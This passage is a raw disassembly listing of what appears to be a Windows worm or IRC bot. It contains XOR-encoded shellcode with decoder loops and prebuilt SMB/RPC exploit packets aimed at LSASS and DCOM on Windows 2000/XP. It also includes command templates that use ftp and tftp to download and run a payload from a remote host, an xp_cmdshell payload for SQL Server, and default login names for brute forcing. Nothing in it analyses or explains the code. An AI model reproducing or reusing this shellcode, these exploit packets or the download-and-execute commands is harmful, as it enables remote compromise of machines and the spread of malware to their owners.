		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_425290	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_4033C9+101o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_425378	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_40381E+7Fo
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_425404	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40381E+AAo
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_4254B0	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40381E+CFo
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_425590	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4033C9+57o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC:					; DATA XREF: sub_4033C9+86o
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_4255F4	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4033C9+2B0o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_425660	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4033C9+2DBo
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_425704	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4033C9+3C3o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_425784	dd offset loc_401495	; DATA XREF: sub_4033C9+3F1o
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset sub_40707C
		dd 1, 0
		dd 1, 0
		dd offset sub_40707C
		dd 1, 0
		dd 1, 0
		dd offset sub_40707C
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_425818	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4033C9+314o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_425884	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4033C9+33Fo
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_4258F8	dd 0				dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 2	dup(0)
word_425980	dw 0AD9Dh		; DATA XREF: sub_40327E+30r
					; sub_4033C9+E3r
		align 4
		dd 2 dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 10h
dword_4259C0	dd 1004600h						; sub_4033C9+240r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
dword_425A78	dd 0A0D7325h, 0						; sub_404197+102o ...
aEchoOpenSDEqEc	db 'echo open %s %d >> eq&echo user %s %s >> eq &echo get %s >> eq &e'
					; DATA XREF: sub_40327E+A4o
		db 'cho quit >> eq &ftp -n -s:eq &%s',0Dh,0Ah,0
; ---------------------------------------------------------------------------


loc_425AE4:				; DATA XREF: sub_4033C9+171o
					; sub_4042F8+177o
		jmp	short loc_425AEC
; ---------------------------------------------------------------------------
		jmp	short loc_425AEE
; ---------------------------------------------------------------------------
		dd 0
; ---------------------------------------------------------------------------


loc_425AEC:				; CODE XREF: ___:loc_425AE4j
					; DATA XREF: sub_4033C9+27o ...
		pop	esp
		pop	esp


loc_425AEE:				; CODE XREF: ___:00425AE6j
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_425AF8	dd 1CEC8166h						; sub_4042F8+Dr
dword_425AFC	dd 0E4FF07h						; sub_4042F8+16r
unk_425B00	db    2			; DATA XREF: sub_40381E+173o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUsingSExploitA	db ' using %s exploit and sending file to %s',0
		align 4
dword_425B44	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0					; sub_403E35+21Bo
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_425B90	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_403BE2+123o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_425EF4	dd 20h,	0			dd 20h,	5C005Ch, 0
off_425F08	dd offset off_43005C	; DATA XREF: sub_403BE2+15Do
		dd offset dword_5C0024
a12345611111111:
		unicode	0, <123456111111111111111.doc>,0
		align 8
dword_425F48	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
off_425F7C	dd offset word_580046	; DATA XREF: sub_403BE2+45o
		dd offset loc_42004D+1
		dd offset word_580046
		dd offset word_580046
		dd offset loc_42004D+1
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_426058	dd 18759Fh	dword_42605C	dd 100139Dh	off_426060	dd offset dword_5C005C	; DATA XREF: sub_403A47+1Co
					; sub_403B2A+16o
		align 8
off_426068	dd offset dword_49005C	; DATA XREF: sub_403A47+Co
					; sub_403B2A+Bo
		dd offset off_430050
		dd 24h
unk_426074	db    2			; DATA XREF: sub_403E35+2E9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 25h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aTryingToRootS	db ' trying to root %s',0
		align 10h
unk_4260A0	db    2			; DATA XREF: sub_403E35+29Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTransferComple	db '  transfer complete to IP: %s',0
		align 4
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_403E35+41o
		align 10h
		jmp	short loc_426102

; =============== S U B	R O U T	I N E =======================================



sub_4260F2	proc far		; CODE XREF: sub_4260F2:loc_426102p
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_4260FA:				; CODE XREF: sub_4260F2+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_4260FA
		jmp	short loc_426107
; ---------------------------------------------------------------------------


loc_426102:				; CODE XREF: ___:004260F0j
		call	near ptr sub_4260F2


loc_426107:				; CODE XREF: sub_4260F2+Ej
		jo	short loc_42616B
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_426189
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_42616B:				; CODE XREF: sub_4260F2:loc_426107j
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_426189:				; CODE XREF: sub_4260F2+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_4260F2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_426230:				; DATA XREF: sub_4042F8+156o
					; sub_4042F8+212o
		jmp	short loc_426242

; =============== S U B	R O U T	I N E =======================================



sub_426232	proc near		; CODE XREF: sub_426232:loc_426242p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_42623A:				; CODE XREF: sub_426232+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_42623A
		jmp	short loc_426247
; ---------------------------------------------------------------------------


loc_426242:				; CODE XREF: ___:loc_426230j
		call	sub_426232


loc_426247:				; CODE XREF: sub_426232+Ej
		jo	short near ptr dword_4261C0+1Eh
		cwde
		cdq
		cdq
		retn
sub_426232	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_4262E0	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_4042F8+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_4263C8	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_404737+85o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_426454	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_404737+B1o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_0:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_1:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_426500	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_404737+D8o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4265E0	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4042F8+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_0:					; DATA XREF: sub_4042F8+8Ao
		unicode	0, <C$>,0
a?????_0	db '?????',0
		dd 0
dword_426644	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4042F8+2AAo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_4266B0	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4042F8+2D1o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_426754	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4042F8+3B0o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_4267D4	dd offset loc_401495	; DATA XREF: sub_4042F8+3DEo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset sub_40707C
		dd 1, 0
		dd 1, 0
		dd offset sub_40707C
		dd 1, 0
		dd 1, 0
		dd offset sub_40707C
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_426868	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4042F8+306o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_4268D4	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4042F8+331o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_426948	dd 0				dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 3	dup(0)
aWinxpProfess_0	db 'WinXP Professional    [universal] lsass.exe ',0
		align 8
dword_426A08	dd 1004600h						; sub_4042F8+245r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: sub_404197+BEo
		db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_404197+97o
unk_426B40	db    2			; DATA XREF: sub_404737+17Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 25h,	73h, 2Eh
		db  65h	; e
		db 1Fh,	78h, 1Fh
		db  70h	; p
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aTryingToRoot_0	db ' trying to root %s',0
		align 4
unk_426B6C	db    2			; DATA XREF: sub_404969+22Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Dh,	73h, 71h
		db  6Ch	; l
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aAttemptingToRo	db ' attempting to root (%s:%d) user: (%s/%s).',0
unk_426BB0	db    2			; DATA XREF: sub_404969+1ABo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileTransferCo	db '  File transfer complete to IP: %s',0
aExecMaster___0	db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: sub_404969+196o
		align 4
; aExecMaster(long long, *)
aExecMaster__xp	db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %d >> eq&echo us'
					; DATA XREF: sub_404969+162o
		db 'er %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq '
		db '&%s&del eq',0Dh,0Ah
		db 27h,0
		align 4
aDriverSqlServe	db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0
					; DATA XREF: sub_404969+C6o
		align 10h
aAdmin		db 'admin',0            ; DATA XREF: sub_404969+2Bo
					; ___:0042EF04o
		align 4
aRoot		db 'root',0             ; DATA XREF: sub_404969+24o
					; ___:0042EF0Co ...
		align 10h
aSa		db 'sa',0               ; DATA XREF: sub_404969+19o
		align 4
		dd 0C933FA8Bh, 909035B2h, 0C1816690h, 0C7830138h
		db 1Ah
; ---------------------------------------------------------------------------


loc_426CF5:				; CODE XREF: ___:00426CFCj
		mov	bl, [edi]
		xor	bl, dl
		mov	[edi], bl
		inc	edi
		loop	loc_426CF5
		ficom	word ptr [esi]
		dec	edi
		pop	esp
		aaa
		xor	[ecx+6Ch], bl
; ---------------------------------------------------------------------------
		dw 28CDh
		dd 0E4B9EBA9h, 36E14579h, 151512C5h, 66623D05h,	7066A07h
		dd 7979711Bh, 0DD30DE34h, 0CACACACCh, 1FD8B668h, 516C055Fh
		dd 75BE34BEh, 2945BE39h, 3D4DBE98h, 0BE096AB8h,	0BECE342Eh
		dd 0CE344D6Eh, 34297EBEh, 1166BECCh, 6466CF34h,	156EBE67h
		dd 0FC04CE34h, 0ACF50474h, 34BE01BEh, 0F70499CBh, 0F5B1D7E4h
		dd 833AC240h, 71B83070h, 0C533170h, 53D44025h, 6D6F2504h
		dd 6765636Bh, 74257B1Eh, 7F39823Ah, 34BD31BEh, 78833ACDh
		dd 0B871BC30h, 3078CBEDh, 78CB8B40h, 0CB144131h, 68B81778h
		dd 0E5CA662Dh, 315FF2BCh, 3070BD6Dh, 3F4270B5h,	0B54168B8h
		dd 0DC21135Eh, 0CACACA4Dh, 0EE04FBBCh, 66666666h, 0CA637363h
		dd 6D60A2E5h, 5F05BC53h, 0CA626025h, 637BE160h,	0F960CA62h
		dd 0CA626066h, 0B8A2E560h, 0CA65BD70h, 6060D160h, 0B8DD60CAh
		dd 0A1393071h, 501B5D66h, 695D504Dh, 0A1515856h, 70B8E704h
		dd 6262A1F9h, 0CB666662h, 67C734F3h, 4D70B8A1h,	0BD70B865h
		dd 663D8465h, 0CB255F66h, 666667FBh, 60CA6066h,	0CACA5FD9h
		dd 0D560h, 7A69h, 0
dword_426E40	dd 0D0EC8166h, 7dword_426E48	dd 129F74h, 0	dword_426E50	dd 127D78h, 0	
; =============== S U B	R O U T	I N E =======================================



sub_426E58	proc near		; DATA XREF: sub_404D78+D5o

